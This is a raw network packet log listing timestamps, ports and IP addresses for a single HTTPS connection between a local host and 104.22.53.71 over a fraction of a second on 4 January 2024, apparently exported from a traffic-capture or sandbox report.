Jan 4, 2024 08:37:16.996592999 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.997814894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.997852087 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.997884989 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.997889996 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.997909069 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.997960091 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.998965979 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.998989105 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.999034882 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.999041080 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:16.999053955 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:16.999085903 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.001009941 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.001030922 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.001072884 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.001077890 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.001104116 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.001118898 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.002630949 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.002655983 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.002693892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.002697945 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.002718925 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.002736092 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.004492998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.004511118 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.004560947 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.004565954 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.004578114 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.004607916 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.006409883 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.006427050 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.006496906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.006501913 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.006539106 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.007698059 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.007714987 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.007771969 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.007777929 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.007819891 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.009509087 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.009526968 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.009586096 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.009591103 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.009630919 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.011318922 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.011339903 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.011392117 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.011396885 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.011451006 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.013233900 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.013253927 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.013299942 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.013310909 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.013334036 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.013346910 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.014444113 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.014462948 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.014514923 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.014520884 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.014540911 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.014561892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.016174078 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.016191959 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.016241074 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.016247034 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.016297102 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.018307924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.018326998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.018368959 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.018373966 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.018402100 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.018446922 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.020550966 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.020574093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.020613909 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.020618916 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.020648003 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.020673990 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.021753073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.021771908 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.021827936 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.021835089 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.021882057 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.023076057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.023092985 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.023132086 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.023137093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.023171902 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.023185015 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.024900913 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.024924994 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.024966002 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.024972916 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.024998903 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.025022030 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.026652098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.026669979 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.026715040 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.026721001 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.026761055 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.026774883 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.028539896 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.028562069 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.028606892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.028611898 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.028641939 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.028656006 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.029586077 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.029607058 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.029685020 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.029690981 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.029728889 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.031575918 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.031591892 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.031635046 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.031639099 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.031665087 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.031687021 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.033313990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.033329010 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.033386946 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.033392906 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.033431053 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.035160065 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.035176039 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.035228014 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.035233021 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.035269022 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.037061930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.037079096 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.037127018 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.037132978 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.037175894 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.038196087 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.038211107 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.038249969 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.038254976 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.038297892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.038337946 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.039926052 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.039942026 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.040013075 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.040019035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.040054083 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.041584015 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.041610956 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.041646957 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.041651964 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.041678905 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.041695118 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.043489933 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.043505907 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.043608904 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.043620110 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.043668985 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.044511080 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.044539928 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.044568062 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.044574022 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.044601917 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.044622898 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.046684980 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.046703100 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.046756029 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.046765089 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.046777010 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.046796083 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.048274040 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.048289061 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.048325062 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.048330069 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.048352957 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.048372030 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.049767971 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.049791098 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.049824953 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.049829960 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.049856901 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.049876928 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.050899982 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.050915003 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.050971031 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.050976038 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.051023960 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.052129984 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.052187920 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.052202940 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.052208900 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.052234888 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.053464890 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.053482056 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.053519964 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.053525925 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.053546906 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.054380894 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.054403067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.054434061 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.054440022 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.054456949 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.056026936 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.056046009 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.056075096 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.056081057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.056099892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.057218075 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.057234049 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.057279110 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.057286024 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.057313919 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.058393955 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.058408976 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.058444977 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.058450937 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.058480024 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.059360027 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.059375048 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.059423923 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.059428930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.059453964 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.061353922 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.061369896 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.061405897 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.061410904 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.061439037 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.062097073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.062119961 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.062146902 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.062151909 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.062172890 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.063123941 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.063138008 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.063179016 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.063184023 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.063205004 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.064809084 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.064824104 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.064888000 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.064893007 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.065808058 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.065835953 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.065870047 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.065875053 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.065892935 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.066921949 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.066941977 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.066977024 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.066982031 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.066998005 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.068042994 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.068058014 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.068103075 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.068109035 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.068131924 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.069686890 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.069700956 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.069741964 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.069746971 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.069772005 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.070962906 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.070977926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.071027040 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.071033001 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.071057081 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.071842909 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.071866989 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.071894884 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.071902037 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.071929932 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.073066950 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.073081970 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.073128939 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.073134899 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.073158026 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.074600935 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.074615002 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.074667931 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.074673891 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.075650930 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.075681925 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.075712919 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.075717926 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.075747013 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.091097116 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.091114998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.091182947 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.091190100 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.092088938 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.092122078 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.092148066 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.092154026 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.092206955 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.093225956 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.093245029 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.093283892 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.093291998 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.093316078 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.094868898 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.094891071 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.094924927 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.094930887 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.094950914 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.095768929 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.095783949 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.095839977 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.095846891 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.097326040 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.097343922 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.097378969 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.097383022 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.097404003 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.098345041 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.098360062 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.098413944 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.098419905 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.099344969 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.099368095 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.099392891 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.099400043 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.099416971 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.100506067 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.100521088 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.100594997 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.100594997 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.100604057 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.102055073 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.102073908 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.102113962 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.102118969 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.102135897 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.103138924 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.103152990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.103208065 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.103213072 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.104080915 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.104099989 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.104130983 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:17.104135990 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:17.104151964 CET	49706	443	192.168.2.9	104.22.53.71
